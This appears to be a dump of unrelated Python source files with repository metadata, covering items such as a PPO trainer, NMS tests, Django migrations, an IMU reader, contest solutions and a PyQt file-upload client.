64a574013e249968746044555bd8779ac353b13f
refs/heads/master
2021-05-08T11:07:34.420797
2018-04-14T02:08:55
2018-04-14T02:08:55
119,881,523
2
0
MIT
2018-04-15T01:31:10
2018-02-01T19:16:50
Python
UTF-8
Python
false
false
1,160
py
lazy_proxy_attrs = ['_LazyInitProxy' + i for i in ('__obj', '__new', '__cls', '__args', '__kwargs', '__lazy_init')] class LazyInitProxy: def __init__(self, new, cls, *args, **kwargs): self.__obj = None self.__new = new self.__cls = cls self.__args = args self.__kwargs = kwargs def __lazy_init(self): if not self.__obj: self.__obj = self.__new(self.__cls) self.__obj.__init__(*self.__args, **self.__kwargs) def __getattribute__(self, name): if name is '__class__': return self.__cls if name in lazy_proxy_attrs: return super().__getattribute__(name) self.__lazy_init() return type(self.__obj).__getattribute__(self.__obj, name) def __setattr__(self, key, value): if key in lazy_proxy_attrs: return super().__setattr__(key, value) self.__lazy_init() return type(self.__obj).__setattr__(self.__obj, key, value) class LazyInitMixin: @staticmethod def __new__(cls, *args, **kwargs): return LazyInitProxy(super(LazyInitMixin, cls).__new__, cls, *args, **kwargs)
[ "karol.gruszczyk@gmail.com" ]
karol.gruszczyk@gmail.com
c6924b59c81ca5e1180e6818f3e2b742947490af
c50e7eb190802d7849c0d0cea02fb4d2f0021777
/src/spring-cloud/azext_spring_cloud/__init__.py
f1f6829e24f83bb03b037a169d016f4c6295b128
[ "LicenseRef-scancode-generic-cla", "MIT" ]
permissive
Azure/azure-cli-extensions
c1615b19930bba7166c282918f166cd40ff6609c
b8c2cf97e991adf0c0a207d810316b8f4686dc29
refs/heads/main
2023-08-24T12:40:15.528432
2023-08-24T09:17:25
2023-08-24T09:17:25
106,580,024
336
1,226
MIT
2023-09-14T10:48:57
2017-10-11T16:27:31
Python
UTF-8
Python
false
false
1,614
py
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from azure.cli.core import AzCommandsLoader from azure.cli.core.commands import CliCommandType from azext_spring_cloud._help import helps # pylint: disable=unused-import from azext_spring_cloud._client_factory import cf_spring_cloud from azext_spring_cloud.commands import load_command_table from azext_spring_cloud._params import load_arguments class spring_cloudCommandsLoader(AzCommandsLoader): def __init__(self, cli_ctx=None): spring_cloud_custom = CliCommandType( operations_tmpl='azext_spring_cloud.custom#{}', client_factory=cf_spring_cloud) super(spring_cloudCommandsLoader, self).__init__(cli_ctx=cli_ctx, custom_command_type=spring_cloud_custom) def load_command_table(self, args): from azure.cli.core.aaz import load_aaz_command_table try: from . import aaz except ImportError: aaz = None if aaz: load_aaz_command_table( loader=self, aaz_pkg_name=aaz.__name__, args=args ) load_command_table(self, args) return self.command_table def load_arguments(self, command): load_arguments(self, command) COMMAND_LOADER_CLS = spring_cloudCommandsLoader
[ "noreply@github.com" ]
Azure.noreply@github.com
b4f41e346a2e0f2d1bf35e88c2200ed5ccc16184
dd221d1ab80a49190a0c93277e2471debaa2db95
/hanlp/components/lm/__init__.py
1563904cff0a8f5467f6b6adcf545d7cba2fd94e
[ "Apache-2.0", "CC-BY-NC-SA-4.0" ]
permissive
hankcs/HanLP
29a22d4e240617e4dc67929c2f9760a822402cf7
be2f04905a12990a527417bd47b79b851874a201
refs/heads/doc-zh
2023-08-18T12:48:43.533453
2020-02-15T17:19:28
2023-03-14T02:46:03
24,976,755
32,454
9,770
Apache-2.0
2023-08-13T03:11:39
2014-10-09T06:36:16
Python
UTF-8
Python
false
false
65
py
# -*- coding:utf-8 -*- # Author: hankcs # Date: 2022-01-29 21:07
[ "jfservice@126.com" ]
jfservice@126.com
20e79c2fadd832d61fd5bea20ef637c8f7e01edc
53e4a89e8baeb715f10b33304be028e906e58583
/practice.py
d434fefa456bfbb3d8eb507660a7137ff77e4ce5
[]
no_license
eodnjs467/python
9a9cf2c82a6c64d839c4de4bc38fe3df14f11f5d
67b2a770526f4c4161bcf06042eea3054a30b3fc
refs/heads/master
2020-09-30T20:33:51.627921
2020-04-12T15:13:47
2020-04-12T15:13:47
227,368,131
0
0
null
null
null
null
UTF-8
Python
false
false
806
py
import itertools def solution(M, load): a=[] count = 0 M = input("트럭에 실을 수 있는 최대 무게를 설정해주세요.") if M>40: print("40이하로 입력하세요") load = input("[1,2,3,4,5,6] 처럼 입력하세요 최대 12개 ") for index in range(len(load)): if load[index] > 12: print("12이하로 설정하세요") count = count+1 if count == len(load): return -1 a.append(load[index]) b = itertools.combinations(a,2) c = list(b) for i in range(1): for j in range(1): middle = 40 - (c[i][j] + c[i][j+1]) middle = ## 0에 가까운 걸 찾아야함 # load_max = 40 # min = 0 answer = 0 return answer
[ "sponjjanc@naver.com" ]
sponjjanc@naver.com
48dafa5e87dcad260228db02752c101b9cd39502
eae6dddca9285702c4c7ed6ba6bdaceef9631df2
/CCC-2018/Senior/Senior-1/S1.py
a7e1fce447c03ec8b63cb22e911da9b2757d0261
[]
no_license
simrit1/CCC-Solutions-2
7823ce14801c4219f6f1dd4c42fb013c2dfc45dd
ee2883aa38f933e526ce187d50ca68763876cb58
refs/heads/master
2023-07-04T02:19:37.320261
2021-08-07T22:12:36
2021-08-07T22:12:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
710
py
# CCC 2018 Senior 1: Voronoi Villages # # Author: Charles Chen # # Arrays and calculations # Initialize variables min_size = 20000000000 size_left = 0 size_right = 0 total_size = 0 # Input points = [] num_villages = int(input()) for i in range(num_villages): points.append(int(input())) # Sort the points points.sort() # Find smallest neighbourhood size for i in range(1, num_villages - 1): diff_left = points[i] - points[i-1] diff_right = points[i+1] - points[i] size_left = diff_left / 2 size_right = diff_right / 2 total_size = size_left + size_right if total_size < min_size: min_size = total_size print("{:.1f}".format(min_size))
[ "noreply@github.com" ]
simrit1.noreply@github.com
f1997085668d1db3776b1d54457a43aacfbba33c
3cb0f57347d06d976ae49812fa383e8845475c62
/WebServices/trunk/setup.py
0774bdab90c2feba99bbb78d8f7ceb7a7f8dc7e6
[]
no_license
UfSoft/ISPManCCP-V2
9aa99731e54c39fd05ed5cf969e2e3dcbd444f7e
1521cea43254d017129b07c07266a0e3bfd64ab1
refs/heads/master
2021-01-10T20:26:42.282246
2008-05-10T15:13:56
2008-05-10T15:13:56
26,618,633
0
0
null
null
null
null
UTF-8
Python
false
false
637
py
#!/usr/bin/env python from setuptools import setup, find_packages setup( name='ISPManWebServices', version='0.1', description='WebServices backend to ISPMan', author='Pedro Algarvio', author_email='ufs@ufsoft.org', # url='', install_requires=["Pylons>=0.9.6.1"], packages=find_packages(exclude=['ez_setup']), include_package_data=True, test_suite='nose.collector', package_data={'ispman.services': ['i18n/*/LC_MESSAGES/*.mo']}, entry_points=""" [paste.app_factory] main = ispman.services.wsgiapp:make_app [paste.app_install] main = pylons.util:PylonsInstaller """, )
[ "ufs@ufsoft.org" ]
ufs@ufsoft.org
9f5d1f6f7e14b928ee57ce640f3ef14235c95b2f
339dbd84a793588d7c278e2c68c08fff6cdd7b5a
/ImuData/ImuPreProcess.py
25817f3b675e881527a31405d7b2a963fa14e676
[]
no_license
wystephen/LightPythonProject
3a7f2b31f1d8a2da109bb6e0783dd996d2ffaa12
d2a356029a18ce428b3e33622f9ce1de3f8907c1
refs/heads/master
2021-04-27T03:57:09.016236
2018-04-03T02:51:37
2018-04-03T02:51:37
122,722,155
1
0
null
null
null
null
UTF-8
Python
false
false
1,429
py
# -*- coding:utf-8 -*- # carete by steve at 2018 / 03 / 03 13:44 import numpy as np import scipy as sp import matplotlib.pyplot as plt import re import time import datetime class imuread: def __init__(self, file_name='MT_07700791-003-000.csv'): self.file_name = file_name def load(self): file_lines = open(self.file_name).readlines() self.data = np.zeros([len(file_lines) - 7, 10]) for i in range(7, len(file_lines)): # print(file_lines[i]) matcher = re.compile('[-]{0,1}[0-9]{1,3}\.{0,1}[0-9]{0,15}') all_num = matcher.findall(file_lines[i]) # print(tt) tt = datetime.datetime(int(all_num[2]), int(all_num[3]), int(all_num[4]), int(all_num[5]), int(all_num[6]), int(all_num[7])) print(tt.timestamp() + float(all_num[1]) * 1e-9) self.data[i - 7, 0] = tt.timestamp() + float(all_num[0]) * 1e-9 # print(all_num) for j in range(9): self.data[i - 7, 1 + j] = float(all_num[j + len(all_num) - 9]) # plt.figure() # plt.imshow(self.data/self.data.std(axis=1)) # plt.imshow(self.data) # plt.colorbar() # plt.show() def save(self, file_name): np.savetxt(file_name, self.data) if __name__ == '__main__': ir = imuread(file_name='2018-03-03-17h35.TXT') ir.load()
[ "551619855@qq.com" ]
551619855@qq.com
fed51cebf5fbf3c46d9c33bc71716accfdcaad96
53def173f44b9665d1194195577c50058c1f698a
/angstromctf/2020/misc/msd/solve.py
bbc29a69de3b8584e6a90560da9c5fc093b7af47
[]
no_license
blairsec/challenges
3558f2b7f6866718c4f1ad026d84b6651e31e7d0
928345a6175adf0e88017b28fe895bc924527853
refs/heads/master
2023-05-24T09:44:17.779099
2023-05-17T17:03:34
2023-05-17T17:03:34
184,929,220
17
6
null
2023-03-03T17:21:31
2019-05-04T18:12:01
JavaScript
UTF-8
Python
false
false
790
py
from PIL import Image im = Image.open("output.png") im2 = Image.open("breathe.jpg") width, height = im.size def decode(i, compare): i = list(str(i).zfill(len(str(compare)))) return i[0] s = "" for j in range(height): for i in range(width): data = [] for a, compare in zip(im.getpixel((i,j)), im2.getpixel((i, j))): data.append(decode(a, compare)) s += ''.join(data) s = list(s) data = [] while len(s) > 0: t = "" curr = s.pop(0) if curr != "1": t += curr + s.pop(0) else: t += curr + s.pop(0) + s.pop(0) data.append(t) data = ''.join([chr(int(i)) for i in data]) import re r1 = re.findall(r"actf{.*?}", data) min = min(map(len, r1)) for i in r1: if len(i) == min: print(i)
[ "github@kevinhiggs.com" ]
github@kevinhiggs.com
02392e079a451cabcac5107b47c21e5b66bc1c35
515e45025082ffbfda960635e31f99c4ca1aa7d8
/src/html5_parser/stdlib_etree.py
8fd1a4e10e7347e79a7c21a3e752c474e3806553
[ "Apache-2.0" ]
permissive
kovidgoyal/html5-parser
62a3e626cba563076c7503fafb2fd83c506c61dd
ef7d4af932293fa04c3ac78a77b7fb2f0ac2f26d
refs/heads/master
2023-05-30T09:44:52.629086
2023-04-12T05:07:46
2023-04-12T05:07:46
93,229,662
714
42
Apache-2.0
2021-07-26T13:23:04
2017-06-03T06:56:36
C
UTF-8
Python
false
false
1,525
py
#!/usr/bin/env python # vim:fileencoding=utf-8 # License: Apache 2.0 Copyright: 2017, Kovid Goyal <kovid at kovidgoyal.net> from __future__ import absolute_import, division, print_function, unicode_literals import sys from lxml.etree import _Comment if sys.version_info.major < 3: from xml.etree.cElementTree import Element, SubElement, ElementTree, Comment, register_namespace else: from xml.etree.ElementTree import Element, SubElement, ElementTree, Comment, register_namespace register_namespace('svg', "http://www.w3.org/2000/svg") register_namespace('xlink', "http://www.w3.org/1999/xlink") def convert_elem(src, parent=None): if parent is None: ans = Element(src.tag, dict(src.items())) else: ans = SubElement(parent, src.tag, dict(src.items())) return ans def adapt(src_tree, return_root=True, **kw): src_root = src_tree.getroot() dest_root = convert_elem(src_root) stack = [(src_root, dest_root)] while stack: src, dest = stack.pop() for src_child in src.iterchildren(): if isinstance(src_child, _Comment): dest_child = Comment(src_child.text) dest_child.tail = src_child.tail dest.append(dest_child) else: dest_child = convert_elem(src_child, dest) dest_child.text, dest_child.tail = src_child.text, src_child.tail stack.append((src_child, dest_child)) return dest_root if return_root else ElementTree(dest_root)
[ "kovid@kovidgoyal.net" ]
kovid@kovidgoyal.net
ebfcbcbff6b3fb9b314a7c1656013201ffc42fdc
b9a1f8a13db9878191ec38d7387f3296d00170b7
/beginner level 1/cmprstrings.py
84123162f56c85a97e1794209b8f17003b5fbaa7
[]
no_license
ramyasutraye/python--programming
7a114d10c93c8dfbfd2c4ffef480d09bb17417d0
e2550e1a6e2431f0c3cea1c20acb66ef4b8897a8
refs/heads/master
2020-04-12T02:10:16.551739
2018-05-01T09:20:30
2018-05-01T09:20:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
94
py
u,v=raw_input().split() x=len(u) y=len(v) if x>y: print u elif x<y: print v else: print v
[ "noreply@github.com" ]
ramyasutraye.noreply@github.com
8202d586e8a0a42e46ec0f99eeaa08e3b64a791a
01ab44468c01151020031de57402a08c76d8efb6
/App/migrations/0006_tweets_time.py
0911cdd9a48f8b4b454465905453ad8dbfe208ad
[]
no_license
Chukslord1/Arctype_Tweets_Heatmap
33c46d8d7a7ac24d05e3cda7e6c7525111d05257
16e377dfc215be46786e17e4cf35e89a2b7f4395
refs/heads/main
2023-06-19T22:59:53.127630
2021-07-19T01:00:32
2021-07-19T01:00:32
376,182,168
0
0
null
null
null
null
UTF-8
Python
false
false
523
py
# Generated by Django 3.1.7 on 2021-06-16 03:31 import datetime from django.db import migrations, models from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('App', '0005_auto_20210615_2339'), ] operations = [ migrations.AddField( model_name='tweets', name='time', field=models.TextField(default=datetime.datetime(2021, 6, 16, 3, 31, 2, 119115, tzinfo=utc)), preserve_default=False, ), ]
[ "chukslord1@gmail.com" ]
chukslord1@gmail.com
8903f5552458a212377dedd24f393aca93c9b316
961d2a56c1f573edebb6d67b6d5874b10ce01791
/focusgroups/migrations/0002_auto_20160905_1705.py
98d6390d8dbec20b23e09963f1e037db8c19bd4a
[ "MIT" ]
permissive
CARocha/ciatEspecies
d7dbf4ba09e4c9255dc2eab2eaa905960d7e96c7
10777d9487dd3658388243c304dd640b476cb3e3
refs/heads/master
2020-04-06T07:11:40.607520
2016-09-06T19:29:19
2016-09-06T19:29:19
60,646,256
0
2
null
null
null
null
UTF-8
Python
false
false
773
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-09-05 17:05 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('focusgroups', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='community', name='county', ), migrations.RemoveField( model_name='focusgroup', name='county', ), migrations.AddField( model_name='community', name='province', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='focusgroups.Province'), ), ]
[ "erickmurillo22@gmail.com" ]
erickmurillo22@gmail.com
985214f3ae0e8d102213d315bb2b7881b582a8f8
db14851d3eca5fd09277715c3a0558a5f5d5894c
/dot2svg.py
788a2be68d0f24d6c5511d6fe44e7a36cd4c5b5b
[]
no_license
marxin/script-misc
916c007308a9ea350ade256dde0a682349a964e4
06f5c418b8bc4e28d5e04e3cf475f680ed7781c3
refs/heads/master
2023-08-23T13:13:30.567072
2023-08-22T14:22:59
2023-08-22T14:22:59
10,321,279
8
1
null
2021-03-20T10:56:59
2013-05-27T19:33:40
C++
UTF-8
Python
false
false
174
py
#!/usr/bin/env python3 import glob import subprocess for f in sorted(glob.glob('*.dot')): print(f) subprocess.check_output(f'dot -Tsvg {f} -o {f}.svg', shell=True)
[ "mliska@suse.cz" ]
mliska@suse.cz
7c547c68f98a736486c122985b30d5e935e0a74a
0afd765c0a3c06e6c893782fc8bd9d5bd4eac20d
/synchronized_ppo_CartPole/ppo.py
1833d0999b1f725abd3b3573d428aea6112e227c
[]
no_license
chagmgang/synch_pysc2
fdcb2bbb36c81af6ac2c31183b02f26aee33d739
57ca1e533446b1ed61c4d3d432d47d293148b6be
refs/heads/master
2020-03-19T15:40:24.573995
2018-07-02T05:36:35
2018-07-02T05:36:35
136,680,870
0
0
null
null
null
null
UTF-8
Python
false
false
5,480
py
import tensorflow as tf import copy class PPOTrain: def __init__(self, Policy, Old_Policy, gamma=0.95, clip_value=0.2, c_1=1, c_2=0.01): """ :param Policy: :param Old_Policy: :param gamma: :param clip_value: :param c_1: parameter for value difference :param c_2: parameter for entropy bonus """ self.Policy = Policy self.Old_Policy = Old_Policy self.gamma = gamma pi_trainable = self.Policy.get_trainable_variables() old_pi_trainable = self.Old_Policy.get_trainable_variables() # assign_operations for policy parameter values to old policy parameters with tf.variable_scope('assign_op'): self.assign_ops = [] for v_old, v in zip(old_pi_trainable, pi_trainable): self.assign_ops.append(tf.assign(v_old, v)) # inputs for train_op with tf.variable_scope('train_inp'): self.actions = tf.placeholder(dtype=tf.int32, shape=[None], name='actions') self.rewards = tf.placeholder(dtype=tf.float32, shape=[None], name='rewards') self.v_preds_next = tf.placeholder(dtype=tf.float32, shape=[None], name='v_preds_next') self.gaes = tf.placeholder(dtype=tf.float32, shape=[None], name='gaes') act_probs = self.Policy.act_probs act_probs_old = self.Old_Policy.act_probs # probabilities of actions which agent took with policy act_probs = act_probs * tf.one_hot(indices=self.actions, depth=act_probs.shape[1]) act_probs = tf.reduce_sum(act_probs, axis=1) # probabilities of actions which agent took with old policy act_probs_old = act_probs_old * tf.one_hot(indices=self.actions, depth=act_probs_old.shape[1]) act_probs_old = tf.reduce_sum(act_probs_old, axis=1) with tf.variable_scope('loss/clip'): # ratios = tf.divide(act_probs, act_probs_old) ratios = tf.exp(tf.log(act_probs) - tf.log(act_probs_old)) clipped_ratios = tf.clip_by_value(ratios, clip_value_min=1 - clip_value, clip_value_max=1 + clip_value) loss_clip = tf.minimum(tf.multiply(self.gaes, ratios), tf.multiply(self.gaes, clipped_ratios)) loss_clip = tf.reduce_mean(loss_clip) tf.summary.scalar('loss_clip', loss_clip) # construct computation graph for loss of value function with tf.variable_scope('loss/vf'): v_preds = self.Policy.v_preds loss_vf = tf.squared_difference(self.rewards + self.gamma * self.v_preds_next, v_preds) loss_vf = tf.reduce_mean(loss_vf) tf.summary.scalar('loss_vf', loss_vf) # construct computation graph for loss of entropy bonus with tf.variable_scope('loss/entropy'): entropy = -tf.reduce_sum(self.Policy.act_probs * tf.log(tf.clip_by_value(self.Policy.act_probs, 1e-10, 1.0)), axis=1) entropy = tf.reduce_mean(entropy, axis=0) # mean of entropy of pi(obs) tf.summary.scalar('entropy', entropy) with tf.variable_scope('loss'): loss = loss_clip - c_1 * loss_vf + c_2 * entropy loss = -loss # minimize -loss == maximize loss tf.summary.scalar('loss', loss) self.merged = tf.summary.merge_all() optimizer = tf.train.AdamOptimizer(learning_rate=1e-4, epsilon=1e-5) self.train_op = optimizer.minimize(loss, var_list=pi_trainable) def train(self, obs, actions, rewards, v_preds_next, gaes): tf.get_default_session().run([self.train_op], feed_dict={self.Policy.obs: obs, self.Old_Policy.obs: obs, self.actions: actions, self.rewards: rewards, self.v_preds_next: v_preds_next, self.gaes: gaes}) def get_summary(self, obs, actions, rewards, v_preds_next, gaes): return tf.get_default_session().run([self.merged], feed_dict={self.Policy.obs: obs, self.Old_Policy.obs: obs, self.actions: actions, self.rewards: rewards, self.v_preds_next: v_preds_next, self.gaes: gaes}) def assign_policy_parameters(self): # assign policy parameter values to old policy parameters return tf.get_default_session().run(self.assign_ops) def get_gaes(self, rewards, v_preds, v_preds_next): deltas = [r_t + self.gamma * v_next - v for r_t, v_next, v in zip(rewards, v_preds_next, v_preds)] # calculate generative advantage estimator(lambda = 1), see ppo paper eq(11) gaes = copy.deepcopy(deltas) for t in reversed(range(len(gaes) - 1)): # is T-1, where T is time step which run policy gaes[t] = gaes[t] + self.gamma * gaes[t + 1] return gaes
[ "chagmgang@gmail.com" ]
chagmgang@gmail.com
e09eefe38c46144b260e759163fdbc18fd82f227
1b8fba01309da37f8d0ff408765c1d545fc588d6
/tests/modeling/test_nms.py
56bdfdf0b14eb53c31feaaf464bd4eee1bfa11fd
[ "Apache-2.0" ]
permissive
supriyar/d2go
9bd54bcb2704c91d7bf0d5fceab2ac4f23d59346
9dc1600b05ecf60fab556599b4c0bc6c32837449
refs/heads/main
2023-08-11T16:19:50.578547
2021-10-01T17:43:32
2021-10-01T17:44:49
413,646,825
0
0
Apache-2.0
2021-10-05T02:20:59
2021-10-05T02:20:58
null
UTF-8
Python
false
false
7,617
py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved import unittest import numpy as np import torch from detectron2.layers import nms as box_nms class TestNMS(unittest.TestCase): def test_nms_cpu(self): """Match unit test UtilsNMSTest.TestNMS in caffe2/operators/generate_proposals_op_util_nms_test.cc """ inputs = ( np.array( [ 10, 10, 50, 60, 0.5, 11, 12, 48, 60, 0.7, 8, 9, 40, 50, 0.6, 100, 100, 150, 140, 0.9, 99, 110, 155, 139, 0.8, ] ) .astype(np.float32) .reshape(-1, 5) ) boxes = torch.from_numpy(inputs[:, :4]) scores = torch.from_numpy(inputs[:, 4]) test_thresh = [0.1, 0.3, 0.5, 0.8, 0.9] gt_indices = [[1, 3], [1, 3], [1, 3], [1, 2, 3, 4], [0, 1, 2, 3, 4]] for thresh, gt_index in zip(test_thresh, gt_indices): keep_indices = box_nms(boxes, scores, thresh) keep_indices = np.sort(keep_indices) np.testing.assert_array_equal(keep_indices, np.array(gt_index)) def test_nms1_cpu(self): """Match unit test UtilsNMSTest.TestNMS1 in caffe2/operators/generate_proposals_op_util_nms_test.cc """ boxes = torch.from_numpy( np.array( [ [350.9821, 161.8200, 369.9685, 205.2372], [250.5236, 154.2844, 274.1773, 204.9810], [471.4920, 160.4118, 496.0094, 213.4244], [352.0421, 164.5933, 366.4458, 205.9624], [166.0765, 169.7707, 183.0102, 232.6606], [252.3000, 183.1449, 269.6541, 210.6747], [469.7862, 162.0192, 482.1673, 187.0053], [168.4862, 174.2567, 181.7437, 232.9379], [470.3290, 162.3442, 496.4272, 214.6296], [251.0450, 155.5911, 272.2693, 203.3675], [252.0326, 154.7950, 273.7404, 195.3671], [351.7479, 161.9567, 370.6432, 204.3047], [496.3306, 161.7157, 515.0573, 210.7200], [471.0749, 162.6143, 485.3374, 207.3448], [250.9745, 160.7633, 264.1924, 206.8350], [470.4792, 169.0351, 487.1934, 220.2984], [474.4227, 161.9546, 513.1018, 215.5193], [251.9428, 184.1950, 262.6937, 207.6416], [252.6623, 175.0252, 269.8806, 213.7584], [260.9884, 157.0351, 288.3554, 206.6027], [251.3629, 164.5101, 263.2179, 202.4203], [471.8361, 190.8142, 485.6812, 220.8586], [248.6243, 156.9628, 264.3355, 199.2767], [495.1643, 158.0483, 512.6261, 184.4192], [376.8718, 168.0144, 387.3584, 201.3210], [122.9191, 160.7433, 172.5612, 231.3837], [350.3857, 175.8806, 366.2500, 205.4329], [115.2958, 162.7822, 161.9776, 229.6147], [168.4375, 177.4041, 180.8028, 232.4551], [169.7939, 184.4330, 181.4767, 232.1220], [347.7536, 175.9356, 355.8637, 197.5586], [495.5434, 164.6059, 516.4031, 207.7053], [172.1216, 194.6033, 183.1217, 235.2653], [264.2654, 181.5540, 288.4626, 214.0170], [111.7971, 183.7748, 137.3745, 225.9724], [253.4919, 186.3945, 280.8694, 210.0731], [165.5334, 169.7344, 185.9159, 232.8514], [348.3662, 184.5187, 354.9081, 201.4038], [164.6562, 162.5724, 186.3108, 233.5010], [113.2999, 186.8410, 135.8841, 219.7642], [117.0282, 179.8009, 142.5375, 221.0736], [462.1312, 161.1004, 495.3576, 217.2208], [462.5800, 159.9310, 501.2937, 224.1655], [503.5242, 170.0733, 518.3792, 209.0113], [250.3658, 195.5925, 260.6523, 212.4679], [108.8287, 163.6994, 146.3642, 229.7261], [256.7617, 187.3123, 288.8407, 211.2013], [161.2781, 167.4801, 186.3751, 232.7133], [115.3760, 177.5859, 163.3512, 236.9660], [248.9077, 188.0919, 264.8579, 207.9718], [108.1349, 160.7851, 143.6370, 229.6243], [465.0900, 156.7555, 490.3561, 213.5704], [107.5338, 173.4323, 141.0704, 235.2910], ] ).astype(np.float32) ) scores = torch.from_numpy( np.array( [ 0.1919, 0.3293, 0.0860, 0.1600, 0.1885, 0.4297, 0.0974, 0.2711, 0.1483, 0.1173, 0.1034, 0.2915, 0.1993, 0.0677, 0.3217, 0.0966, 0.0526, 0.5675, 0.3130, 0.1592, 0.1353, 0.0634, 0.1557, 0.1512, 0.0699, 0.0545, 0.2692, 0.1143, 0.0572, 0.1990, 0.0558, 0.1500, 0.2214, 0.1878, 0.2501, 0.1343, 0.0809, 0.1266, 0.0743, 0.0896, 0.0781, 0.0983, 0.0557, 0.0623, 0.5808, 0.3090, 0.1050, 0.0524, 0.0513, 0.4501, 0.4167, 0.0623, 0.1749, ] ).astype(np.float32) ) gt_indices = np.array( [ 1, 6, 7, 8, 11, 12, 13, 14, 17, 18, 19, 21, 23, 24, 25, 26, 30, 32, 33, 34, 35, 37, 43, 44, 47, 50, ] ) keep_indices = box_nms(boxes, scores, 0.5) keep_indices = np.sort(keep_indices) np.testing.assert_array_equal(keep_indices, gt_indices) if __name__ == "__main__": unittest.main()
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
b240df52da013a3ec90f10c7d57112e334cdfa2b
dc27978653e8b5538cfd30788446673bb1402ece
/other/new_fileup.py
d0ce24b9bd208f51d44ef7332a4430390e52e519
[]
no_license
yanislong/myPerformance
2cb54676ce4ba2f02f788d6640f7c108e3e91b3e
9027f44595bcb4f14d34152631c24be8ab92a93f
refs/heads/master
2021-06-23T22:42:07.705060
2021-04-09T03:10:20
2021-04-09T03:10:20
209,740,087
0
0
null
null
null
null
UTF-8
Python
false
false
14,590
py
# -*- coding: utf-8 -*- from PyQt5.QtCore import QThread, pyqtSignal from PyQt5.QtWidgets import QApplication, QMainWindow from PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QMessageBox, QLineEdit, QLCDNumber, QDial, QSlider, QLabel, QFormLayout, QLineEdit, QTextEdit, QFileDialog, QProgressBar, QRadioButton, QButtonGroup from PyQt5.QtGui import QIcon from PyQt5.QtCore import QCoreApplication, Qt, QBasicTimer, QThread, pyqtSignal from random import randint import hashlib import requests import os, time, sys, json class MyMainForm(QWidget): def __init__(self, parent=None): super(MyMainForm, self).__init__(parent) self.tokenurl = "http://11.2.77.3:30089/portal-test/user/login/account" self.upfileurl = "http://11.2.77.3:30089/portal-test/store/file/upload" self.useridurl = "http://11.2.77.3:30089/portal-test/store/store/colonyList" self.changepemurl = "http://11.2.77.3:30089/portal-test/store/file/merge" self.rbinfo = "内部" self.initUi3() def initUi3(self): self.setGeometry(300,300,300,200) self.setWindowTitle('CASJC') self.formlayout = QFormLayout() self.rb1 = QRadioButton('线上',self) self.rb2 = QRadioButton('内部',self) self.rb2.setChecked(True) self.bg1 = QButtonGroup(self) self.bg1.addButton(self.rb1,11) self.bg1.addButton(self.rb2,22) self.info1 = "" self.info2 = "" self.bg1.buttonClicked.connect(self.rbclicked) self.nameLabel = QLabel("账号") self.nameLineEdit = QLineEdit("") self.introductionLabel = QLabel("密码") self.introductionLineEdit = QLineEdit("") #self.introductionLineEdit = QTextEdit("") self.bt1 = QPushButton('登录',self) self.bt1.setGeometry(115,150,70,30) self.bt1.setToolTip('登录先进云计算平台') self.formlayout.addRow(self.rb1,self.rb2) self.formlayout.addRow(self.nameLabel,self.nameLineEdit) self.formlayout.addRow(self.introductionLabel,self.introductionLineEdit) #formlayout.addRow(fileup,self.filebutton) self.formlayout.addRow(self.bt1) self.setLayout(self.formlayout) self.bt1.clicked.connect(self.Casjc_login) self.show() def Casjc_login(self): self.username = self.nameLineEdit.text() #print(self.introductionLineEdit.text()) url = self.tokenurl header = {} header['Content-Type'] = "application/json" data = {} data["account"] = self.nameLineEdit.text() data["password"] = self.introductionLineEdit.text() data["rememberMe"] = False data["origin"] = 0 try: r = requests.post(url, headers=header, data=json.dumps(data)) if r.status_code == 200: if r.json()['code'] == 200: print(r.json()['data']) self.login_session = r.json()['data'] self.getuserId() self.login_mess = '登录成功' self.nameLabel.setVisible(False) self.nameLineEdit.setVisible(False) self.introductionLabel.setVisible(False) self.introductionLineEdit.setVisible(False) self.bt1.setVisible(False) self.rb1.setVisible(False) self.rb2.setVisible(False) self.lab = QLabel(self.rbinfo,self) self.fileup = QLabel("文件上传") self.filebutton = QPushButton("选择文件",self) self.colonyId = QLabel("colonyId") self.mycolonyId = QLineEdit(self.store_colonyid) self.mycolonyId.setEnabled(False) self.colonypath = QLabel("路径") self.mycolonypath = QLineEdit(self.store_path) self.mycolonypath.setEnabled(False) self.formlayout.addRow(self.lab) self.formlayout.addRow(self.colonyId,self.mycolonyId) self.formlayout.addRow(self.colonypath,self.mycolonypath) self.formlayout.addRow(self.fileup,self.filebutton) self.filebutton.clicked.connect(self.selefile) else: print('登录认证信息错误') self.login_mess = '登录认证信息错误' else: print('登录异常') self.login_mess = '登录异常' except requests.exceptions.ConnectionError: print("网络异常无法连接服务器") self.login_mess = '网络异常无法连接服务器' except requests.exceptions.MissingSchema: print('请求的Url地址有误') self.login_mess = '请求的Url地址有误' except requests.exceptions.Timeout as e: print('请求超时:' + str(e.message)) self.login_mess = '请求超时' except requests.exceptions.HTTPError as e: print('http请求错误:' + str(e.message)) self.login_mess = 'http请求错误' reply = QMessageBox.information(self, "登录提示信息", self.login_mess, QMessageBox.Yes) self.getuserId() #self.setLayout(self.formlayout) def getuserId(self): url = self.useridurl header = {} header["Authorization"] = self.login_session header['Token'] = self.login_session header['Cookie'] = "JSESSIONID=" + self.login_session r = requests.get(url, headers=header) self.store_userid = r.json()['data'][0]['userId'] self.store_colonyid = str(r.json()['data'][0]['colonyId']) self.store_path = r.json()['data'][0]['path'] return None def selefile(self): self.file_up, self.bbb = QFileDialog.getOpenFileName(self,"打开文件",os.getcwd(),"All File(*)") p, self.filename_up = os.path.split(self.file_up) try: self.selefilenameup.setVisible(False) except: pass self.selefile = QLabel("选中文件") self.selefilename = QLabel(self.filename_up) self.jindu = QLabel("进度条") #self.pbar = QProgressBar(self) #self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('开始上传', self) self.btn.move(40, 80) self.formlayout.addRow(self.selefile,self.selefilename) 